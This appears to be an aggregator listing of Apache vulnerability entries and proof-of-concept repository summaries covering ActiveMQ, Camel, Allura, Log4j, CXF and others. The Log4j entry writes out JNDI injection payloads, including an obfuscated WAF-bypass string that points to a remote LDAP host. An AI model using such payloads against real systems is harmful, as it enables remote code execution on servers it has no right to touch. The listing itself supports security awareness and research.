apache__myfaces_CVE-2011-4367_2-0-11

Apache's implementation of the JavaServer Faces JSF and Jakarta Faces specification Branches main Jakarta Faces 5.0 implementation 4.1.x Jakarta Faces 4.1 implementation 4.0.x Jakarta Faces 4.0 implementation Based on the refactored 2.3-next codebase 2.3-next Almost JavaServer Faces 2.3...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

Exploitation of CVE-2015-5254 Vulnerability CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS...

CVE-2024-40898

CVE-2024-40898 This Python script checks for the presence of CVE-2024-40898, a critical vulnerability in Apache HTTP Server that may allow SSL/TLS certificate verification bypass under certain misconfigurations. It initiates an SSL connection to the target server and sends a HEAD request. It...

Solr-SSRF

Solr-SSRF CVE-2021-27905 The repeat package in the Burp file contains specific steps for reproduction. The POC is a detection plugin for Xray...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB Remote Command Execution Vulnerability PoC...

CVE-2016-3088

CVE-2016-3088 - Remote Code Execution in Apache ActiveMQ...

CVE-2026-46457

CVE-2026-46457 — camel-nats Inbound Header Injection SSRF Runnable proof-of-concept reproducers for the same Apache Camel vulnerability, one per runtime: Runtime| Directory| Stack ---|---|--- Camel Spring Boot| camel-spring-boot/| Spring Boot 3.2.0 + camel-spring-boot 4.18.2 Camel Quarkus|...

CVE-2026-91135

A flaw was found in Apache Thrift. A remote attacker can exploit a heap-based buffer overflow in the C++ transport component to achieve arbitrary code execution or cause a Denial of Service DoS through an application crash. The vulnerability occurs when an application enables compression transfor...

CVE-2026-66906

CVE-2026-66906 — camel-azure-storage-blob downloadBlobToFile path traversal Runnable proof-of-concept reproducers for the same Apache Camel vulnerability, one per runtime: Runtime| Directory| Stack ---|---|--- Camel Spring Boot| camel-spring-boot/| Spring Boot 3.5.13 + camel-azure-storage-blob...

CVE-2026-92119

REST API Mass Assignment vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0, which fixes the issue...

CVE-2026-92116

OAuth1 callback validation vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0, which fixes the issue...

CVE-2026-92120

OAuth1 Request Replay Attack vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0 which fixes the issue...

Log4J_0day_RCE

Join Community Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Affected versions you can use JNDI-Injection-Exploit to Exploit. Bypass rc1 For example: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

http2-bomb

HTTP/2 Bomb - CVE-2026-49975 A denial-of-service DoS proof of concept targeting HTTP/2 servers. By combining HPACK amplification with stream retention, a single machine with a modest network connection can render a vulnerable server unavailable within seconds. Vulnerability CVE: CVE-2026-49975...

CVE-2011-3192-apache-exploit

CVE-2011-3192 This exploit triggers a denial of service condition in Apache versions 1.3.x, 2.0.64 and below and 2.2.19 and below. Developed in 2011 by Antonius ev1lut10n / w1sdom...

CVE-2022-46364-Proof-of-the-concept

CVE-2022-46364: Apache CXF MTOM XOP:Include SSRF to LFI Exploit ⚠️ DISCLAIMER THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY This proof-of-concept exploit is provided for educational purposes to help security professionals understand the vulnerability and protect their systems...

EUVD-2026-97832

OAuth1 Request Replay Attack vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0 which fixes the issue...

CVE-2026-92120 Apache Allura: Oauth1 Replay Attack

OAuth1 Request Replay Attack vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0 which fixes the issue...

CVE-2026-92120

Apache Allura versions through 1.21.0 are vulnerable to an OAuth1 Request Replay Attack (CWE-294). This vulnerability allows an attacker to capture and replay authentication requests to gain unauthorized access. Users are recommended to upgrade to version 1.22.0 , which contains the fix for this ...

EUVD-2026-97831

REST API Mass Assignment vulnerability in Apache Allura. This issue affects Apache Allura: through 1.21.0. Users are recommended to upgrade to version 1.22.0, which fixes the issue...